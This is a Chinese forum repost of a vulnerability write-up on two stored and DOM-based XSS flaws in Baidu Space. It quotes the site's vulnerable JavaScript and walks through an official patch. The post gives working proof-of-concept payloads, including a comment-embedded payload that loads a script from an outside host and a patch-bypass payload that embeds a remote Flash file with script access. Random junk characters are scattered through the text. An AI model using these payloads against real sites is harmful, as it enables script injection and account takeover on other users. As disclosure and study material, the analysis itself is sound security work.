找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2237|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  0 ?( e$ L9 q2 ^# P6 p
6 P& f+ W8 t* L9 J* Q' p. Y
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  ( f" G! I/ s) L- Q8 l
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
4 h/ t8 j6 m8 o" F' }1 p$ s4 d. t5 o) C0 E1 g
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
4 H8 A  M- X: l$ v2 h其中BdUtil.insertWBR为  
' \' ]' n$ _1 ^7 e" o' {function(text, step) {  & I; y) W6 Y3 X6 L  ^
    var textarea = textAreaCache || getContainer();  
5 U8 q2 o) \6 C6 p* F1 [8 @    if (!textarea) {  2 [6 f; Y$ f1 z4 O2 e6 r
        return text;  
0 h- v/ M8 W; S5 U    }  ( w5 n( D2 W( l& ^$ H3 h: q& e
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
0 Q# p, \+ x" P, R  i! X: H    var string = textarea.value;  1 t6 `8 P; j2 j6 h- ^- ~9 v
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  ! M, Q! u$ K2 H: }
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  0 o+ h" T9 o% H' j: B6 E6 S$ m
    return result;  
5 O1 p; j% p( C/ ]. y, G( e8 z/ [}  
+ K% ?2 ~' z3 x9 g0 o5 p8 e在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  6 }$ R2 ~" [/ D7 u1 A
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  ; N& x2 y0 A' \& ?) H) b
   ( y# B4 i3 g; F& g' K% B6 W8 D5 h
二:creatbgmusic() Dom-Xss Bug  * G" d3 `" ~0 ]9 Q) H. o1 Q
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
" {$ ~% V* b) R- u: W) G6 T- j  a1 q) b0 s: i7 h) F, b) K
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  5 C0 b3 R- ?$ G% D1 I3 Z
. @( B1 [3 t. m) N1 V' U  ^# }6 w
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  # S; E1 q1 j2 G6 A
    //传入的murl赋值到bgmusic1和bgmusic2中  
) g8 }0 H( @% d  Z    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
; X# A! j; }/ H; X. H7 y    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  - X+ {- P9 @! U3 x8 R, n
    if (musicnum <= 1) {  / E$ s1 U! S5 O, R' a3 P# S0 p% ~. q
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
+ ~  T! g" m: G: K5 z    }  
( f3 p2 t9 j" J; [9 M9 F4 w+ [    bgmusic1 += "</OBJECT>";  
* T; p, ?/ Z/ V    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
- d1 w7 x7 x( |4 |" C    if (musicnum <= 1) {    e& i5 J1 ]$ L( s& f3 T! u2 y- Q
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
) Z0 X+ N4 [' Y$ ~$ C9 t7 s8 j    }  
& {' C: f% {" j3 `/ l( u% c  P) Q    bgmusic2 += "> </EMBED>";  
! M# G" l' d" M5 h7 F8 u3 X; e    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  1 V) x6 m7 a. i: H/ B
    var bgmus = detectWMP();  
$ p" G. z6 i( Q/ G' _  |    if (functype == "FckMusicHelper") {  
3 @% v0 P2 T+ z. o# M        if (bgmus.installed) {  2 ~- r; P/ P! V' y
            if (bgmus.type == "IE") {  
$ k! f- U) ?/ J: z# w# M                return bgmusic1;  
* f' L) d) [$ X  m2 V            } else if (bgmus.type == "NS") {  
5 O  V6 o% |9 {' J4 Y                return bgmusic2;  
6 w2 T7 V# k3 u9 h9 x& ?5 N4 t' u9 S            }  2 B# H- _# d) \# J
        } else {  ! Q/ j( I) P6 V7 I! f
            return bgmusic3;  0 W# \+ r/ u$ B! Z3 I( `; B
        }  9 V8 ]6 p1 `! h7 P
    } else {  5 E- Q( L. J# p2 _0 O+ a5 I
        if (bgmus.installed) {  
: g% P% h) F* J7 a& I            //document.write 直接输出bgmusic变量 导致xss  
4 K5 C; b/ l9 }. W  C3 C2 p            if (bgmus.type == "IE") {  
, S! C. Y( m9 e/ L" U& n5 ^! q                document.write(bgmusic1);  ) i' n( V6 N  C5 G5 N
            } else if (bgmus.type == "NS") {  : P: L3 W4 x% v- a
                document.write(bgmusic2);  
  w+ X5 Q. `; ?8 ]( z. I! e1 N4 r8 j            }  7 a& k1 t# h. s4 ?  k
        } else {  , ]( `* B6 [0 [( V
            document.write(bgmusic3);  
4 u; n2 {# [$ P4 ]3 F. E        }  + F  d3 W2 }4 J1 d; V6 e8 z1 N( ?
        return "";  
' d& ^4 W! r+ I) u7 r1 H    }  
. ?4 d4 C* E" z, ~: x/ `}  
+ L$ Q( w0 z. R% K1 p8 n  f
5 w$ i$ y! t5 y5 }" l在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
7 m# m, k8 \1 q" H
9 S- C; n) ~6 k+ K: W$ c# xfunction initBlogTextForFCK(){  - f! {2 P1 F1 Q# Q: n* {3 h
//fck init music  : W( w6 T  l& x% X- K
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  ! S. _+ Y9 c$ V% ?, X' W1 C
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  9 h( n- ]) J. f! N# q& ?
var isAutoPlay=true;  
$ i) \) t. x( O: y" d( dfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  : D" a5 `6 l1 p
  var img=imgBox;  5 |* H  g; M- T
  if(img.getAttribute(’rel’)){        
5 H+ x7 ^; c4 D6 @& U2 h6 F   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
( h* r8 v2 U1 J* n9 E. T% O   var musicDiv = document.createElement("SPAN");  
: ~, `' [8 ^* _" k   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
. `& l- b% W% \$ \/ [3 l     
0 m. Y" \9 ?2 B3 _/ @9 V9 i      ..........................  ' @! \; U. {4 S" T- u3 Q7 b  N$ O
     5 d# W% \2 x* ~0 c# t1 y
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
5 d  g. J" \. Y4 R2 ^( x( m   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
$ P- H2 S4 i1 L9 d9 A+ q   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
) N8 s* }& p  t# g5 Z2 h# s% E   musicDiv.innerHTML=shtml;  
4 M& v. }3 T# {7 o& g   i--;n--;    b% J; ?2 j5 k1 S
  }  # _. l9 y) ~- Z6 v" A9 s0 w
}  # C3 U! c- X& E0 |9 k- n" K9 z# ?$ C

- k8 N) s. @3 ~( K从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  8 m  Q# t5 ~' k) p0 `9 S! X
   7 J! `/ K( T- M) x( U! g) q
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
& m* m  X. p- b$ R) f. t/ H5 |$ s9 S; K
等待官方补丁  
! E, s3 z. {7 J" H
7 m# j# k: U/ f' \1 hupdate 2010年5月13日   
# Y2 H$ N: x# H$ n- b: S% r& @+ B
8 o' R1 O: ?  {官方补丁:  
6 J( [9 @% Y5 s4 H9 g1 E" O
  d! M7 I3 D5 f# V0 mvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
7 Z3 c4 O4 U" v改为:  9 f. q3 t: ~  d( C
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
$ h& J& _! u' A( G
5 ^$ l# F( B+ i9 R% K  U! Eupdate 2010年5月13日 21:50:37  
. h- E) {5 y7 m2 p6 Y
: X+ h: F) x) r5 C$ J# u1 g% d补丁存在漏洞 没有过滤" 可以继续跨:  - Z+ Y( z; N! p, K) C* B, V+ B( `
7 V! N. ?5 P" C: A" _
NEW POC:  ! Q" i; U& J( j2 ]! @
* w" v  n* x/ e3 a! r2 B5 y
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
/ U) A" D- i$ b9 H2 ^  |1 \2 O0 h4 R; b* @7 ^
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>3 c# x- p1 t! D3 ?" Z

$ `) y5 K( Y' e- A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表